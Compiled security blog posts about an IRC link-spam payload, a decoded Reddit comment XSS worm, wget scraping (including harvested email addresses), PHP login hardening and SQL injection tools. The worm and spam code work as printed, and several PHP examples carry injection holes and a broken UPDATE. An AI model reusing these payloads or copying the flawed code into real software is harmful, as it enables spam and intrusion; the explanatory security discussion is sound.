You can read the whole story here (and come back afterwards).

TLDR: the channel (through some javascript code) got link spammed in huge numbers.

The code – which you can find in the article I’ve pointed earlier – basically has an iframe, a form with an input tag (pointing to the iframe) and a small javascript code to do the magic.

What I’ve liked in the code is the way it sends the connection and “payload” to the irc server; via the following (combined) string.

x.value = '\r\nUSER '+i+' 8 * :'+n+ // user
          '\r\nNICK '+n+ // nick
          '\r\nJOIN #redditdowntime\r\n'
          +new Array(99).join(
              'PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n'
          )+'';

And I like especially the last part of the payload, of which my first impression was that is creating 99 new lines and lastly the actual message as a way to wait while the server responded correctly.

Soon afterwards (couple of seconds, I swear) I realized that this snippet of code generates 100 messages to send.

Nice trick, I’ll remember it next time I’ll have to do a string repeat.

And as in any situation where someone needs to be blamed, this time the blame fell upon the Freenode sysadmins; and it was said in such a lovely way.

IN MY HUMBLE OPINION, (THIS IS MY OPINION AND NOT FACT):

Freenode is run by morons who can’t read IRCD config files. It is that simple.

Instead of reading the docs, freenode is switching to another IRCD to solve this “problem”. Well the problem is between the chair and the keyboard of the freenode admins. The thing you posted should not work at all against a properly configured IRCD. Instead REAL ADMINS with the practical skills of READING COMPREHENSION read the DOCUMENTS that describe the CONFIGURATION OPTIONS. And then they turn on the one feature invented in the 90s that will stop this dead.

But no, freenode has historically been run by people who don’t seem to exhibit any understanding of an IRC server or sysadmining. They will convert the entire network on the 30th to a new IRC which allows to ban users who send HTTP header to an IRC Server. Instead of reading the docs and turning on a certain option WHICH I WILL NOT SHARE HERE BECAUSE FREENODE ADMINS ARE IDIOTS AND SHOULD READ THE BLOODY DOCS.

Also firewalling with a pattern match on POST would’ve solved these problems too. But freenode admins are not the brightest admins.

And all of this because a Reddit user once owned a Digg user…. I can’t find the picture!

I actually never backup my tweets (nothing of value would be lost), and never intend to, but for the sake of posting something I’ve said I’d give it a go.

I’m gonna perform the backup from the command line (like a true magician) without using the twitter API, so only public tweets will be backed up.

Ok, first we need to know the number of tweets we are going to back up (in my case 630) and divide that number by 20 (the number of tweets per page) rounding up the result. In simple math:

630 / 20 = 31.5 ~ 32

Now we know my tweets are distributed on 32 pages.
Next we retrieve the 32 different pages via wget. First variant is from a Windows terminal:

for /L %i in (1,1,32) do @wget http://twitter.com/username?page=%i

The for trick is something I learned from the command line kung fu blog. It will iterate from 1 to 32 and store the value in the %i variable. Oh, and before you hit enter don’t forget to replace the username with your actual twitter username.

The Linux version is just a transcription of the above command:

for (i=0; i<32; i++); do `wget http://twitter.com/username?page=$i`; done

Hopefully I nailed it; didn't actually test the Linux command but it should work. If not, just leave me a comment with the correction.

As the rest goes, it's just simple regular expression matching and replacing (format a bit the end result).

grep -o -P "<span class=\"entry-content\">(.*?)</span>" * > brute.html
sed "s/<span class=\"entry-content\">//g" brute.html | sed "s/<\/span>/<br><br>/g" > final.html

After executing the last two commands you should have your tweets stored in the final.html file.

The (decoded) code of the worm is the following:

// generate payload/attack vector
// having trouble understanding why this works

z="[x][b]\n[b]:/["+this.innerHTML+"](/onmouseover=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";

// and what's with the 9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d ?

// "click" all reply links in page
o=document;
e=o.getElementsByTagName('a');
for(i=0;i<e.length;i++)
    if(e[i].innerHTML=='reply')
        $(e[i]).click();

// fill with payload
o=document;
e=o.getElementsByTagName('textarea');
for(i=0;i<e.length;i++)
    e[i].value=z;

// submit
e=o.getElementsByTagName('button');
for(i=0;i<e.length;i++)
    if(e[i].innerHTML=='save'&&e[i].style.display!='none')
        $(e[i]).click();

In the meantime of writing the article I tried to look for the invalid filtering in the source code, but as touching for the first time the code had no sense of direction. If someone would be kind enough to enlighten me in which file the code resides I’d be more than happy.

If not, we’ll have an unsolved mystery :)

UPDATE: worm author has happily shared its way of evading the filter.

UPDATE 2: post about the bug on the reddit blog.

I had a to make a compromise; use the platform but try to secure it as well… But instead of applying security from outside the platform, this time I was going to write WordPress plugins to do the job… five/ten minutes into coding stuff, I was like:

Wait! What the fuck am I doing? WordPress has got a huge number of extensions, for sure it’s got security oriented ones as well.

And I was right… after browsing a couple of minutes through them (I didn’t say there where many) I’ve came up with the following list of security extensions which I liked: Login LockDown, Paranoid911, Restrict Login By IP, Times to Come security plugin and WP Security Scan.

Login LockDown

Login LockDown records the IP address and timestamp of every failed WordPress login attempt. If more than a certain number of attempts are detected within a short period of time from the same IP range, then the login function is disabled for all requests from that range. This helps to prevent brute force password discovery.

Paranoid911

Paranoid911 checks your wordpress installation for changes and sends you an email when changes occur.

Restrict Login by IP

This plugin lets you specify IP addresses or hosts that users are allowed to login from. You can either use full IPs (e.g. “12.34.56.7″) or partial IPs (e.g. “12.34″), which lets you specify a range of addresses. More advanced configuration is also possible – you can specify allowed subnet(s) via network/netmask and use IPv6 addresses, too.

WP Security Scan

Scans your WordPress installation for security vulnerabilities and suggests corrective actions.

Two features I’ve liked and found useful at this plugin, namely the security and scanner ones…

TimesToCome Security Plugin

I’ve kept this one for last, because I consider it a priceless addition to the plugin box.

This is part 2 of a 3 part security suite for WordPress. This part blocks cross-site script attempts, ip numbers of ill behaved people and bots and bans bad user agents. Since trouble is always changing this plugin allows you to adjust who you want to block. I’ve started you out with every bad bot I caught on my site this past month. You can remove bots, add bots and add and remove ips and requests.

Needles to say, I too was tempted in creating my own framework. Ideas kept flowing in, the project has been started and then BAM, I’ve read an interesting article on GNUCITIZEN, which made me rethink my strategy…

One of the comments pointed it out very well:

most of the stuff we need is on the shell already. pentesting frameworks is like the new security-testing hype. first we had hundreds of portscanners, then hundreds of webapp MiTM proxies, then hundreds of fuzzers, then hundreds of SQL injectors, now it’s about pentesting frameworks :)

So instead of starting to write redundant code, I started to learn already available command line tools, which have years of development behind and fill in almost every aspect they need to.

Basically I’m building my framework around already available tools, and only code up things that do not exist, or for some very particular cases.

So why WGet?

Well I had to start with something my series of articles (it’s gonna be a series), and wget seemed to be a good starting point.

If you’ve never dealt with wget (which I sincerely doubt), the following description best describes it:

GNU Wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. It is a non-interactive commandline tool, so it may easily be called from scripts, cron jobs, terminals without X-Windows support, etc

Without further useless rambling let’s see in which scenarios you would use wget; apart from downloading psyBNC archives, like seen on many h4x00r websites.

Website crawling

There are a couple of tools that facilitate website crawling, I even mentioned one in my Intercepting Proxies? article with the difference that liveHTTPHeaders may be used for passive crawling of websites…

So how would we go on crawling a website with wget?

wget -r -nd --spider -o links.txt http://insanesecurity.info

Where:

• r – recursive crawling
• nd – don’t create directories
• spider – do not save pages, discard after collecting links from them
• o – save output to file links.txt

But what if we would want to restrict the crawling only under a directory, and filter out CSS, images and Javascript files?

wget -r -nd --spider -o links.txt -np -R js,css,jpg,png,gif http://insanesecurity.info/blog/

Where:

• np – do not go to parent directory
• R – one or more extensions to reject (comma separated)

After the command finishes the content of links.txt would look like this (assuming you’ve run the first command):

Spider mode enabled. Check if remote file exists.
--2009-07-07 16:46:58--  http://insanesecurity.info/
Resolving insanesecurity.info... 93.115.201.3
Connecting to insanesecurity.info|93.115.201.3|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://insanesecurity.info/blog/ [following]
Spider mode enabled. Check if remote file exists.
--2009-07-07 16:47:01--  http://insanesecurity.info/blog/
Connecting to insanesecurity.info|93.115.201.3|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Remote file exists and could contain links to other resources -- retrieving.

--2009-07-07 16:47:01--  http://insanesecurity.info/blog/
Connecting to insanesecurity.info|93.115.201.3|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.html'

From this point, the retrieval of links is just a mater of using grep, cut, sort and uniq.

cat links.txt | grep -P "\-\-\d{4}" | cut -d " " -f 4 | sort | uniq

And the output would be like:

http://insanesecurity.info/

http://insanesecurity.info/2009/01/hacking-yahoogmailhotmail-accounts-a-z-guide/

http://insanesecurity.info/2009/01/javascript-userscript-keylogger/

http://insanesecurity.info/2009/01/logging-the-http-requests/

http://insanesecurity.info/2009/01/password-insecurity-wordlists-dictionaries/

http://insanesecurity.info/2009/01/the-future-of-av-or-not/

http://insanesecurity.info/2009/01/the-hackers-underground-handbook-review/

http://insanesecurity.info/2009/01/useratuh-frontend-to-backend-encryption/

Copying websites

Or website mirroring as people use to call it.

There are a couple of reasons why you would do this;

• To have a copy which you can transport on a CD/DVD/Memory card/etc, having the possibility to convert the links to point to local files.
• Content to feed email scrappers

For our first scenario, you would run wget in the following manner:

wget -m -k -p -np http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/

Where:

• m – mirror website
• k – convert html links to local files
• p – get page dependencies (css, images)
• np – do not go to parent folders

And as far as using it for scrapping purpose, we use the most simplistic commands:

wget http://tinyurl.com/nqa48q
cat downloaded-file | grep -o -P "\w+\[at\]\w+" > emails.txt

And this way I have gathered a list of 40 email addresses… a sample of them:

ureachnirav[at]yahoo
reachjag[at]yahoo
g2[at]g2designindia
g2design[at]rediffmail
archsumitjoshi[at]yahoo
joshi[at]hexagon
rohankarswapnil[at]yahoo
sandy004[at]yahoo
idc[at]iitb
visakan[at]gmail

Of course that for replacing the [at] in them, we can simply use sed:

cat emails.txt | sed -r "s/\[at\]/@/g" > normal-emails.txt

Blog spam

This is also possible (and simple) to achieve with wget and minor interference from grep and sed, but for this one I will not post an example… There are already hundreds of spammers out there, so why add more to the list? If interest exists in wget from your part you will find out how…

Of course for this you will need to script the behavior (bash, bat, perl, python, etc), or create a lengthy command line.

FTP Copy

As mentioned at the beginning of article wget can very well work with the ftp protocol as well.

wget -r --ftp-user=anonymous --ftp-password=some@email.com ftp://ftp.ro.freebsd.org/pub/FreeBSD/

Here I think is no need to explain the command line arguments, they are pretty obvious.

Anonymous mode

When I’m referring to anonymous mode, I’m referring to channel wget requests through proxy servers. First you need to configure your .wgetrc file. If you haven’t got one, you may as well create it now.

#############################
###
### Sample Wget initialization file .wgetrc
###

## You can use this file to change the default behaviour of wget or to
## avoid having to type many many command-line options. This file does
## not contain a comprehensive list of commands -- look at the manual
## to find out what you can put into this file.
##
## Wget initialization file can reside in /usr/local/etc/wgetrc
## (global, for all users) or $HOME/.wgetrc (for a single user).
##
## To use the settings in this file, you will have to uncomment them,
## as well as change them, in most cases, as the values on the
## commented-out lines are the default values (e.g. "off").

##
## Global settings (useful for setting up in /usr/local/etc/wgetrc).
## Think well before you change them, since they may reduce wget's
## functionality, and make it behave contrary to the documentation:
##

# You can set retrieve quota for beginners by specifying a value
# optionally followed by 'K' (kilobytes) or 'M' (megabytes).  The
# default quota is unlimited.
#quota = inf

# You can lower (or raise) the default number of retries when
# downloading a file (default is 20).
#tries = 20

# Lowering the maximum depth of the recursive retrieval is handy to
# prevent newbies from going too "deep" when they unwittingly start
# the recursive retrieval.  The default is 5.
#reclevel = 5

# Many sites are behind firewalls that do not allow initiation of
# connections from the outside.  On these sites you have to use the
# `passive' feature of FTP.  If you are behind such a firewall, you
# can turn this on to make Wget use passive FTP by default.
#passive_ftp = off

# The "wait" command below makes Wget wait between every connection.
# If, instead, you want Wget to wait only between retries of failed
# downloads, set waitretry to maximum number of seconds to wait (Wget
# will use "linear backoff", waiting 1 second after the first failure
# on a file, 2 seconds after the second failure, etc. up to this max).
waitretry = 10

##
## Local settings (for a user to set in his $HOME/.wgetrc).  It is
## *highly* undesirable to put these settings in the global file, since
## they are potentially dangerous to "normal" users.
##
## Even when setting up your own ~/.wgetrc, you should know what you
## are doing before doing so.
##

# Set this to on to use timestamping by default:
#timestamping = off

# It is a good idea to make Wget send your email address in a `From:'
# header with your request (so that server administrators can contact
# you in case of errors).  Wget does *not* send `From:' by default.
#header = From: Your Name 

# You can set up other headers, like Accept-Language.  Accept-Language
# is *not* sent by default.
#header = Accept-Language: en

# You can set the default proxies for Wget to use for http and ftp.
# They will override the value in the environment.
http_proxy = http://1.2.3.4:8080/
#ftp_proxy = http://proxy.yoyodyne.com:18023/

# If you do not want to use proxy at all, set this to off.
use_proxy = on

# You can customize the retrieval outlook.  Valid options are default,
# binary, mega and micro.
#dot_style = default

# Setting this to off makes Wget not download /robots.txt.  Be sure to
# know *exactly* what /robots.txt is and how it is used before changing
# the default!
#robots = on

# It can be useful to make Wget wait between connections.  Set this to
# the number of seconds you want Wget to wait.
#wait = 0

# You can force creating directory structure, even if a single is being
# retrieved, by setting this to on.
#dirstruct = off

# You can turn on recursive retrieving by default (don't do this if
# you are not sure you know what it means) by setting this to on.
#recursive = off

# To always back up file X as X.orig before converting its links (due
# to -k / --convert-links / convert_links = on having been specified),
# set this variable to on:
#backup_converted = off

# To have Wget follow FTP links from HTML files by default, set this
# to on:
#follow_ftp = off

I saved the file in my C:/Windows folder, but you may save it any other place you like. Under Linux you may already have this file in your /etc folder, so just modify it there.

As you may notice in the configuration file above (If you’ve looked closely) I have enabled the http_proxy and set up a proxy.

set WGETRC=C:/Windows/.wgetrc
wget --proxy=on http://insanesecurity.info/blog/

The first line is necessary under Windows if you haven’t set up till know the custom .wgetrc, while the second command enables the proxy and executes a request.

Tweaking it

This is just a quick intro on the most common usages of wget… Besides the ones mentioned here it also comes with a handful of other configuration options which you may look into…

Hopefully this article will be read by those who all day long write scrappers and spiders… I’m tired of bumping constantly over those types of scripts :)

Tip 1: Login Page/Authentication

Let’s start with the basic example, which you can find in all those so similar tutorials… First of is the login form:

<form action="login.php" method="post">
    <input type="text" name="username" />
    <input type="password" name="password" />

    <input type="submit" name="Login" />
</form>

Very complex html code, I know. It took me around 10 minutes to write it. Now for the php script that does all the work. NOTE: In this example and all to follow we always assume a mysql connection has been made and that sessions are started.

$username = mysql_real_escape_string($_POST['username']);
$password = sha1('salt'.$_POST['password']);
$result = mysql_query(
    "SELECT id
     FROM users
     WHERE username='$username' AND password='$password'
     ORDER BY id"
);
if(1!=mysql_num_rows($result)) {
    echo 'Login failed, username or password was wrong!';
    exit;
}
$_SESSION['auth'] = true;
$_SESSION['username'] = $username;
$_SESSION['id'] = mysql_result($result, 0);
echo 'Logged in!';

If everything is clear till now than we can move onward… (with this first section I’ve done a summary of all the secure login scripts tutorials)

Tip 2: Bruteforce?

Such a rudimentary attack that people almost forget about it. And most of the time it can be invisible to the websites administrator because POST requests aren’t logged by default. You may remember this from my article Logging the HTTP requests! But I’m not going to use that, because I want to keep all this simple, as simple as possible. So then, we will assume we got a table which is cleared daily (cron?) and stores only the username in the table. One columned table. (I told you that I’m gonna keep it simple) Then the following lines would be also in the login script (before the login query):

$counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'"
    ),
    0
);
mysql_query("INSERT INTO attempts VALUES('$username')");
if($counter>=10) {
    echo 'Bruteforce attempt detected or more than allowed logins per day exceeded!';
    exit;
}

As you can see the drawback for this is that while protecting the users from bruteforce attacks, it may also (and it’s likely) to lock them out. Luckily for us there is a solution for the problem. We add another column to our table attempts of type char(2) in which we store the current hour. Basically we limit the number of logins per hour.

$counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'
         AND hour='".date('G')."'"
    ),
    0
);
mysql_query("INSERT INTO attempts VALUES('$username', '".date('G')."')");
if($counter>=3) {
    echo 'Max number of logins per hour exceeded!';
    exit;
}

Now it looks a little better, but still it misses something…

Tip 3: IP Ban List

You could use ban lists for various reasons, from allowing “known attackers” to blocking access via proxy. Generally people tend to use .htaccess files for blacklisting, but I will stick to PHP and MySQL for the example. NOTE: On medium to large websites a database (MySQL) – backend (PHP) application would stress pretty much the database. The following code should be inserted before the max number of logins per hour check.

$max_counter = mysql_result(
    mysql_query(
        "SELECT COUNT(*)
         FROM attempts
         WHERE username='$username'"
    ),
    0
);
if($max_counter>9) {
    mysql_query("INSERT INTO banlist VALUES('".$_SERVER['REMOTE_ADDR']."')");
}

And the following line on the first line of the script.

if(1==mysql_num_rows(
    mysql_query(
        "SELECT 1
         FROM banlist
         WHERE ip='".$_SERVER['REMOTE_ADDR']."'"
    )
)) {
    echo 'Your IP address is in the ban list!';
    exit;
}

Of course you could dump the IP Address list from time to time from the database, but the following solution is a better one because it does not involve high stress on database.

Tip 4: reCAPTCHA

CAPTCHA is a good way to protect a web page (login page, important forms) from bruteforce and CSRF attacks. But we are not talking about self made CAPTCHA’s, you don’t have to reinvent the wheel… in a cubic form. That’s right, most of those who write there own CAPTCHA’s tend to make them weak or impossible to use (yes, Rapidshare’s CAPTCHA is one of those). You should use a good and public CAPTCHA, like reCAPTCHA. Also don’t over use them, you have to think of CAPTCHA’s like door keys. It’s very good to have one to your entrance door, but having to unlock the door for every room can be quite annoying, if not frustrating.

Tip 5: Encrypted login information

You either should use SSL or (if not available) frontend encryption (hashing in our case). A good example of such an implementation would be userAtuh’s one. You can find available md5/sha1 hashing library’s written in javascript around the web. One such an example is Paul Johnston’s Javascript MD5 library which is stated to be used by Yahoo on several non SSL pages. Can’t tell if it’s true or not, didn’t check it out, but for those who know Trilulilu (especially Romanian comrades) I can tell you that they implemented it in their flash player, for “encrypting” the source of their media (did I say too much?=).

Tip 6: Legitimate Requests (CSRF free)

As mentioned before excessively using CAPTCHA may be annoying, except in the case that the admin panel is designated for only one person (yourself) and you can bare completing on every important request a CAPTCHA field. For the other cases you could take a similar approach. On request of a page with an important form you could generate the token in the following way.

$_SESSION['token'] = sha1(rand());

And inside the form you could place it like…

<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>" />

While in the form processing page you should deal with it as in the following code.

if($_SESSION['token']!=$_POST['token']) {
    exit;
}
$_SESSION['token'] = sha1(rand());

Also a better way would be by using mt_rand() and seeding it with a secret method. Like for example the sum of the numbers from the session id.

Tip 7: Protect your includes/secure pages

If you develop your web application in a similar manner as myself than probably you include the admin pages, rather than use one single over bloated file. And it’s a common mistake to not protect those files from direct access. I’ve seen cases of obscure naming of the files, which are not secure if the attacker can get directory information in a way or another. Although are very interesting. Why? Because security by obscurity can be very fun an creative, even useful sometimes if build on top of a secure design. Like for example when using a MySQL database (version 4, so no information_schema database available) and obscuring the table names. Coming back to our subject, you could protect your included files by using the following line of code.

if(!defined('PROTECTED')) { exit; }

While defining the PROTECTED constant in the script which includes the files (which we assume you protect). You can secure your main files (those who include files) in a similar way.

if(!$_SESSION['auth']) { exit; }
define('PROTECTED', true);

Tip 8: Password Change

When making a password change functionality don’t forget to ask the user for their current password. Many think that if a user is logged in and no CSRF could take place they are safe and thus don’t need to ask them for their current password. It’s wrong to think like that because Session Riding attacks are more frequent than you think. And it’s not such a big deal of doing this, it only takes an extra where clause in the update syntax.

$old_password = sha1('salt'.$_POST['old_password']);
$new1 = sha1('salt'.$_POST['new1']);
$new2 = sha1('salt'.$_POST['new2']);
if($new1!=$new2) {
    echo 'Your new passwords do not match!';
    exit;
}
if(mysql_query(
    "UPDATE
     SET password='$new1'
     WHERE id='".$_SESSION['id']."'
     AND password='$old_password'"
)) {
    echo 'Password successfully changed!';
}
else {
    echo 'Password couldn\'t be changed!';
}

Tip 0

This are the most common approaches which should be taken when coding login scripts/admin panels. Also they are the most common neglected aspects. Kind of paradoxical in a way. And that;s not all, if we think of HTTP Redirects which by the way haven’t been treated because latest versions of PHP protect you against HTTP Response Splitting. Another thing I didn’t treat was XSS, which I think (and maybe you would approve) doesn’t make a part of this subject, it concerns the way you implement functionality in your pages. I often wonder why even give power to the user, like for example in a comment form. Why give him even the ability to post link (and convert them to link)?

Anyway, as you can see I didn’t post a ready to use script/class because I wanted you to understand the concept behind login/admin panel security. Not just copy-paste the code and cross your fingers that it will work.

UPDATE: On Ronald’s suggestion I replaced the md5 hashes with sha1 hashes, even salted them. Also modified the MySQL code to order the result by id, just in case there where two accounts with the same login information (which shouldn’t, if you properly did the checks in the registration page, if uses any).

As kuzza55 responded to the Clickjacking article on ha.ckers.org:

The term Clickjacking reminds me of all the invisible CSS/iframe overlay stuff, which seems to fit the description here (…)

With some simple CSS/Iframe code you can pull of a Clickjacking PoC under a couple of minutes. Also there are other types of web “jacking” attacks, just check out this article.

A simple way to protect websites against Clickjacking (iframed) is via some frame busting code, which can be bypassed by adding the SECURITY=restricted iframe attribute under IE and by using the methods that coderr mentioned in this article. For users NoScript is the right protection, until (who knows) browsers do something against this web feature.

No, I don’t like IE8’s so called solution.

Logs, and I’m speaking about logging the HTTP requests, can help you very much. With the use of logs you can predict defacements: someone constantly trying to inject sql commands, who knows, maybe he’s on to something. Also these logs could help you prevent bruteforce attacks (if such protections weren’t implemented in the original login scripts). Needless to say that it will help you (probably) trace back a dumb attacker.

A rudimentary logging system would look something like this (assuming that a mysql connection has been made before):

function sqle($in) { return mysql_real_escape_string($in); }
function start_log() {
    $referer = sqle($_SERVER['HTTP_REFERER']);
    $uagent  = sqle($_SERVER['HTTP_USER_AGENT']);
    $iproxy  = sqle($_SERVER['REMOTE_ADDR']);
    $exactly = date('r');
    $model   = "INSERT INTO <TABLE> (iproxy, referer,
        uagent, exactly, data) VALUES ('$iproxy',
        '$referer', '$uagent', '$exactly', '<DATA>')";

    if(isset($_POST)) {
        $data  = sqle(serialize($_POST));
        $query = str_replace('<DATA>',$data,$model);
        mysql_query(str_replace('<TABLE>','postlog',$query));
    }

    if(isset($_GET)) {
        $data  = sql(serialize($_GET));
        $query = str_replace('<DATA>',$data,$model);
        mysql_query(str_replace('<TABLE>','getlog', $query));
    }
}

As you can see we have two tables declared in the same way, one named ‘postlog’, while the other ‘getlog’. From this point on you can make scripts that will check for xss, sql injection, lfi/rfi attempts.

I, for example, use it to track those trying to bruteforce my login credentials. And for monitoring wrong entered passwords, if any.

Another thing to note is that the script logs everything passed via a request, so it’s not recommended to add on login pages without setting an exception for the password field.

Another security enchantment would be to have the tables inside another database than the one you’re using for the website, so in case of an SQL injection no sensitive log data would be revealed (sensitive if you wouldn’t add exceptions as mentioned above). And how it would be this the best way to achieve? By adding a mysql connection to the example above. Upon inclusion the code executed would be the following

//some general inclusion you make
//include logger.php (this is our script expanded)
function sqle($in) { ... }
function start_log() {
    $handle = mysql_connect('host','user','pass');
    mysql_select_db('logDB', $handle);
    ...
    if(isset($_POST)) {
        ...
        mysql_query(
            str_replace('<TABLE>','postlog',$query),
            $handle
        );
    }
    if(isset($_GET)) {
        ...
        mysql_query(
            str_replace('<TABLE>','getlog',$query),
            $handle
        );
    }
    mysql_close($handle);
}

Another thing to note, is that the user of the website database shouldn’t have rights upon the log database. You should create a special user just for the logging part.

Also if you like automated stuff, as I do, you would love a logrotate-like implementation which you could cron:

mysql_connect('host','user','pass');
mysql_select_db('logDB');

$date = date('Y-m-d');
$path = '/home/logs/';
$file  = $path.'default.txt';
$query = "SELECT * FROM <TABLE> INTO OUTFILE '$file'
         FIELDS TERMINATED BY ' ' LINES TERMINATED BY 'n'";

mysql_query(str_replace('<TABLE>', 'getlog', $query);
rename($file, $path.$date.'(GET).txt');

mysql_query(str_replace('<TABLE>', 'postlog', $query);
rename($file, $path.$date.'(POST).txt');

About logs (and logging) that’s it for the moment. Maybe I’ll do another time an article about analyzing HTTP logs.

Another thing I wanted to mention, is that there is a similar approach found on the web via a wordpress plugin. Wanted to share it but unfortunately didn’t find it while writing the article.

P.S. Didn’t write the table creating syntax, but you can do it yourself. Not much into it, a bunch of varchar fields…

UPDATE: did some minor editing, upon renaming the files they would have been put in the scripts executing directory.

A good guide (article) on configuring safely PHP can be found here, but for the ones truly interested about the subject I would recommend the PHP 5 from OWASP. Guide which besides telling you how to configure PHP, also presents the implication of every insecure configuration of it.

Another thing I would modify (and it’s not mentioned anywhere) is the session cookies lifetime. Maybe a little annoying for the visiting user, but it protects better (sometimes) against CSRF that a cookie which expires on browser restart.

session.cookie_lifetime = 600

But don’t think you’re done yet… This is just the beginning. The guys back at PHP Security Consortium have created an automated testing suite for PHP configuration. You can download it from here.

Doing the test on the php.ini-dist gave me 7 Notices, 2 Passes and 3 Warnings. And doing the tests on php.ini-recommended gave me 5 Notices, 4 Passes and 3 Warnings.

If you think that is too much effort, than you’re gonna love their alternative. As the testing suite above, they have also created a Greasemonkey script version. You can download it from here. For Greasemonkey phpinfo() Security Checker to work you just have to visit a page that outputs the result of phpinfo().

That is one way to name it. I see SQL Injections as vulnerabilities that should have died long ago… Not because they’ve been around for too long (look at buffer overflows), but because they are simple to prevent… Seeing the high number of new developers that pop up every year, with no secure coding habits, I foresee a great future for SQL Injections, as well as for any other web application vulnerability.

Leaving aside the sarcasm, I’ve written this article with the sole purpose of sharing SQL Injection related resources that I did find useful.

RTFM!? (Read The “Funky” Manual)

Before even trying to understand what SQL Injection is, you should have (at least) basic knowledge on the type of database that the SQL Injection back end has and it’s syntax (the ANSI/ISO SQL standard and DBMS specific functions/procedures/tables). Best direction for a start up (and quick reference) on a specific DBMS is it’s own manual:

• MS SQL (Transact-SQL)
• MySQL
• Oracle
• PostgreSQL

Note here (and through the whole article) that I will emphasis on MSSQL, MySQL, Oracle and PostgreSQL, because they are the most common DBMS’s you’ll encounter.

SQL Injection 101

You should understand basic SQL Injection attacks. I linked to OWASP’s article on SQL Injection, but you could search another one (there are plenty on the web) which may seem more appropriate to you. Also don’t forget to dive in Blind SQL Injections.

From that point onward it goes on with a bit of practice (there are a couple of challenge websites) and some DBMS specific techniques. The following articles are some examples on the subject:

• MySQL table and column names
• MySQL into outfile
• SQL Injection and Oracle
• Manipulating SQL Server Using SQL Injection

As I said, these are just a few examples. Other interesting (MySQL) techniques would be the ones using Benchmark() and Procedure Analyze().

SQL Injection Cheat Sheet

The most helpful resources when you’re doing SQL Injection attacks manually. I personally use Ferruh’s and pentestmonkey’s cheat sheets. You should not stop at only these two, there are many other cheat sheets (DBMS specific also) available. The best option would be to union more cheat sheets (some have exotic vectors, while other have more detailed examples) and from those select what you think would be appropriate for your cheat sheet.

Browserware

There are two firefox add-on’s that I would suggest for SQL Injection testing. The first one is HackBar, which I find very useful when exploiting SQL Injections from the browser directly (extracting/enumerating/dumping), while the second is SQL Inject Me, add-on which will prove useful in the pages with many input fields.

A Little Extra

Although SQL Injections can be exploited manually on several occasions (and based on your laziness) you’ll want to automate the job of extracting/detecting/dumping/bruteforcing (?) a Database. Here the following scripts/apps would prove handy…

SQLMap
sqlmap is an open source command-line automatic SQL injection tool developed in Python. Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user’s specific DBMS tables/columns, run his own SQL statement, read specific files on the file system and more.

MultiInjector
MultiInjector is a mass exploitation tool (automated defacement). You basically give to the application a list of targets and payload, while it will fuzz all the found parameters by appending the payload to it. Check the website for more information.

Blind Sql Injection Brute Forcer version 2
This is a modified version of ‘bsqlbfv1.2-th.pl’. This perl script allows extraction of data from Blind SQL Injections. It accepts custom SQL queries as a command line parameter and it works for both integer and string based injections. Databases supported: MSSQL, MySQL, PostgreSQL and Oracle.

SQLNinja

Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end. Its main goal is to provide a remote access on the vulnerable DB server, even in a very hostile environment. It should be used by penetration testers to help and automate the process of taking over a DB Server when a SQL Injection vulnerability has been discovered.

SQLBrute
SQLBrute is a tool for brute forcing data out of databases using blind SQL injection vulnerabilities. It supports time based and error based exploit types on Microsoft SQL Server, and error based exploit on Oracle.

This is just a small list, for more check out the top 15 sql injection scanners back at security-hacks.

Bruteforce?

If you can’t SQL Inject a website, you can bruteforce the login credentials (if external access is allowed). Just download medusa/hydra (I prefer Hydra, due to Windows support :) generate a custom wordlist for your scenario (resource on wordlists and common passwords), and hit enter.

I know I’ve gone a bit off topic with the bruteforcing section, but I guess it didn’t hurt nobody a little more info.

AND 1=0

Have any suggestion? Feel free to contribute with comments/articles/cheat sheets, or any other resource which would improve this article.